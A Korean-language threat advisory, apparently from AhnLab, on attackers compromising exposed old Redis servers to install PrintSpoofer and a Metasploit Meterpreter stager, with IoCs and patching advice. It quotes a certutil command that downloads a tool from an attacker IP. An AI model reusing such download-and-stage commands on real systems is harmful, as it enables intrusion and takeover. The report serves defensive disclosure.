Redis 서버를 통해 설치되는 메타스플로잇 미터프리터
AhnLab SEcurity intelligence Center(ASEC) 에서는 최근 Redis 서비스를 통해 메타스플로잇의 미터프리터 백도어 악성코드가 설치 중인 것을 확인하였다. Redis는 Remote Dictionary Server의 약자로서 오픈 소스 In-memory 데이터 구조 저장소이자 데이터베이스이다. 공격자는 부적절한 설정을 악용하였거나 취약점 공격을 통해 명령을 실행한 것으로 추정된다.
Redis는 주로 캐싱, 세션 관리, 메시지 브로커, 대기열 등 다양한 용도로 사용되며 전 세계적으로 다수의 시스템들이 Redis를 서비스하고 있다. 많은 시스템들에서 Redis를 사용하다 보니 공격자들의 주요 공격 대상이 되고 있다. 취약한 Redis 서비스를 공격하여 설치되는 악성코드들로는 Kinsing [1], P2PInfect [2], Skidmap [3], Migo [4], HeadCrab [5] 등이 있다.
이러한 악성코드들은 주로 인터넷에 오픈되어 있으며 인증 과정이 비활성화되어 있는 Redis 서버를 공격한다. Redis에 접근한 공격자는 알려진 공격 방식들을 통해 악성코드를 설치할 수 있는데, 대표적으로 악성코드를 설치하는 명령을 Cron 작업으로 등록하는 방식과 SLAVEOF 명령을 이용해 악성코드가 포함된 Redis 서버의 Slave 서버로 설정하는 방식이 있다.
1. 공격 사례
공격 대상이 된 시스템은 대부분의 알려진 공격 사례들과 달리 윈도우 환경이었으며 Redis 3.x 버전으로서 2016년에 개발된 버전이다. 오래된 버전이다 보니 알려진 취약점 공격이나 부적절한 설정을 악용하는 공격에 취약했을 것으로 보인다.
공격자는 먼저 권한 상승 도구인 PrintSpoofer를 설치하였다. 설치 시 파워쉘의 “invoke-webrequest” 명령을 이용하였으며 Redis의 설치 경로에 다운로드하였다.
Figure 1. Redis 서비스를 공격하여 PrintSpoofer를 설치하는 로그
PrintSpoofer는 SeImpersonatePrivilege 권한을 악용하여 권한을 상승시키는 도구로서 웹 서비스를 제공하는 웹 서버나 데이터베이스 서비스를 제공하는 MS-SQL 서버같이 부적절하게 관리되거나 최신 버전으로 패치되지 않은 취약한 서비스를 대상으로 한 공격에 자주 사용된다. 공격자는 깃허브에 오픈 소스로 공개된 PrintSpoofer를 직접 빌드하여 사용하였으며 보안 제품에 의한 탐지를 우회하기 위한 목적인지 “nilaina mana”와 같이 특정 문자열을 변경해서 사용하였다.
Figure 2. 오픈 소스를 이용해 제작한 PrintSpoofer
PDB 경로 : C:\Users\designernembak\Desktop\TOOLS\PrintSpoofer-master\x64\Debug\PrintSpoofer.pdb
이렇게 Redis 서비스를 대상으로 한 공격은 작년 하반기부터 지속적으로 확인되고 있다. 최근 공격 사례와 과거 사례들과의 차이점이라고 한다면 파워쉘 명령 대신 CertUtil 도구를 이용해 PrintSpoofer를 설치하는 점이 있다.
최근 확인되는 명령 : certutil -urlcache -split -f “hxxp://35.185.187[.]24/PrintSpoofer.exe” psf.exe
2. 메타스플로잇 미터프리터
공격자는 PrintSpoofer를 설치한 이후에는 메타스플로잇의 스테이저(Stager) 악성코드를 설치하였다.
Figure 3. Metasploit Stager 설치 로그
메타스플로잇(Metasploit)은 침투 테스트 목적의 프레임워크이다. 기업이나 기관의 네트워크 및 시스템에 대한 보안 취약점을 점검하기 위한 목적으로 사용 가능한 도구로서 침투 테스트 단계별로 다양한 기능들을 지원한다. 메타스플로잇은 코발트 스트라이크처럼 최초 감염을 위한 다양한 형태의 페이로드 생성부터 계정 정보 탈취, 내부망 이동을 거쳐 시스템 장악까지 단계별로 필요한 기능들을 제공한다.
미터프리터(Meterpreter)는 코발트 스트라이크의 비컨(Beacon)과 유사하게 실제 악성 행위를 담당하는 백도어 악성코드이다. 미터프리터는 설치 방식에 따라 Staged / Stageless 방식으로 나뉠 수 있다. Stageless 방식은 페이로드에 미터프리터가 포함된 형태이며 이에 따라 악성코드의 크기가 일정 부분 이상 커지게 된다. Staged 방식은 스테이저라고 하는 악성코드를 사용하는 방식으로서 스테이저가 실행되면서 C&C 서버로부터 미터프리터를 다운로드하는 방식이다. 이에 따라 스테이저는 미터프리터와 비교해서 굉장히 작은 크기를 가질 수 있다.
공격자는 Reverse TCP 방식의 스테이저를 제작해 감염 시스템에 설치하였으며 실행된 스테이저는 다음과 같이 C&C 서버에 접속하여 미터프리터 백도어를 다운로드한다. 이러한 과정을 거쳐 최종적으로 미터프리터가 메모리 상에서 실행되어 감염 시스템에 대한 제어가 탈취된다.
Figure 4. C&C 서버에서 다운로드된 미터프리터 백도어
3. 결론
최근 외부에 공개된 Redis 서비스를 대상으로 메타스플로잇 미터프리터가 설치되고 있다. 공격 대상이 된 Redis 서비스는 2016년도에 개발된 버전임에 따라 알려진 취약점 공격이 가능한 취약한 버전이며 부적절하게 관리되고 있을 가능성이 있다.
메타스플로잇이 설치되면 감염 시스템에 대한 제어를 탈취당할 뿐 아니라 제공하는 다양한 기능들을 통해 조직의 내부망을 장악하는 데 사용될 수도 있다. 관리자는 서버 구성 환경이 취약할 경우 최신 버전으로 패치해 기존에 알려진 취약점으로부터 사전에 방지해야 한다. 또한 외부에 공개된 서버의 경우 보안 제품을 통해 외부인으로부터 접근을 통제할 필요가 있다. 또한 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다.
파일 진단
– Trojan/Win32.Shell.R1283 (2010-12-17.00)
– Exploit/Win.PrintSpoofer.C5538254 (2023.11.06.03)
– Exploit/Win.PrintSpoofer.R358767 (2023.08.14.00)
행위 진단
– Malware/MDP.Download.M1197
IoC
MD5
– cff64cc3e82aebd7a7e81f1633b5040e : Metasploit Stager (meteran.exe)
– dbdcbacbc74b139d914747690ebe0e1c : PrintSpoofer (PrintSpoofer.exe)
– b26b57b28e61f9320cc42d97428f3806 : PrintSpoofer (ps.exe)
C&C 서버
– 34.124.148[.]215:9070
Download 주소
– hxxp://35.185.187[.]24/PrintSpoofer.exe
– hxxp://35.185.187[.]24/ps.exe
– hxxp://35.185.187[.]24/meteran.exe
연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능합니다.
출처 : AhnLab